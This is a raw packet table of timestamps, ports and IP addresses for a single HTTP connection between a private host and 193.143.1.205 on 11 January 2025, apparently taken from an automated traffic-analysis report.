Jan 11, 2025 02:15:54.589400053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.589413881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.589448929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.589610100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.589622021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.589632988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.589643955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.589649916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.589683056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.590289116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.590300083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.590312004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.590329885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.590359926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.590485096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.590496063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.590508938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.590519905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.590543032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.590572119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.591171980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.591183901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.591195107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.591218948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.591389894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.591401100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.591412067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.591423988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.591428041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.591447115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.591999054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.592037916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.592058897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.592071056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.592103958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.592267036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.592278004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.592304945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.592426062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.592437029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.592485905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.592977047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.592988968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.593000889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.593024015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.593197107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.593214989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.593226910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.593233109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.593238115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.593265057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.593878984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.593890905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.593904018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.593920946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.593950033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.593995094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.594006062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.594017029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.594028950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.594043970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.594065905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.594677925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.594737053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.594747066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.594772100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.594871998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.594907999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.594942093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.594952106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.594963074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.594981909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.595576048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.595613003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.595638037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.595649004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.595681906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.595856905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.595869064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.595880032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.595890999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.595901012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.595926046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.596462011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.596810102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.617178917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.617217064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.617229939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.617253065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.617316008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.617412090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.644328117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.644361973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.644373894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.644381046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.644416094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.644520998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.644531965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.644543886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.644562960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.644732952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.644742966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.644774914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.646694899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.646732092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.646766901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.646775961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.646816015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.646877050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.677833080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.677872896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.677890062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.677894115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.677921057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.677938938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.677946091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.677989006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.678025007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.678036928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.678069115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.678160906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.678170919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.678180933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.678190947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.678219080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.678246021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.678436995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.678447008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.678457975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.678477049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.678477049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.678488016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.678505898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.678508043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.678555012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.707740068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.707807064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.707875013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.707914114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.707925081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.707942009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.707951069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.707994938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.708132982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.708142996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.708163977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.708175898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.708187103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.708223104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.708369017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.708467960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.708477974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.708488941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.708499908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.708506107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.708511114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.708519936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.708527088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.708558083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.708898067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.708909035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.708919048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.708930016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.708940983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.708950996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.708961964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.709101915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.709424973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.709435940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.709450960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.709460020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.709470034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.709481001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.709492922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.709497929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.709530115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.709867954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.709883928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.709894896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.709906101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.709917068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.710012913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.710386992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.710397959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.710408926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.710419893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.710429907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.710441113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.710450888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.710458040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.710460901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.710473061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.710483074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.710489988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.710494995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.710505962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.710511923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.710544109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.711242914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.711255074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.711265087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.711276054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.711328983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.712821960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.712831974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.712842941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.712860107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.712871075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.712882042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713085890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713097095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713113070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713124990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713223934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.713385105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713396072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713406086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713418007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713447094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.713474035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.713625908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713634968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713644981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713656902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713668108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713679075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713857889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713867903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713879108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713890076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713901043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.713918924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.713956118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.714138985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714148998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714159966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714170933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714176893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.714210987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.714373112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714382887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714411020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714421034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714432001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714442968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714673996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.714863062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714874029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714884996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714895010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714905977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714916945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714915991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.714926958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.714927912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714939117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714945078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.714950085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.714983940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.734967947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.734983921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.734996080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.735028028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.735074043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.735085964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.735096931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.735109091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.735114098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.735141993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.735271931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.735311031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.737967968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.768400908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.768436909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.768446922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.768465042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.768477917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.768482924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.768524885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.768567085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.768608093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.768611908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.768620014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.768661022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.768816948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.768826962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.768831968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.768838882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.768843889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.768907070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.769129992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.769141912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.769151926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.769172907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.769200087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.769309044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.769325972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.769366026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.769438982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.769450903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.769481897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.769489050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.769500017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.769510984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.769520998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.769539118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.769566059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.798477888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.798517942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.798528910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.798542023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.798553944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.798578024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.798625946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.798660994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.798672915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.798682928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.798700094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.798729897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.798846006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.798935890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.798947096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.798968077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.799130917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.799144030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.799155951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.799165010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.799174070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.799176931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.799192905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.799226999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.799398899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.799412012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.799453020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.799453974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.799465895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.799477100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.799489021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.799494028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.799525023 CET	80	49730	193.143.1.205	192.168.2.4
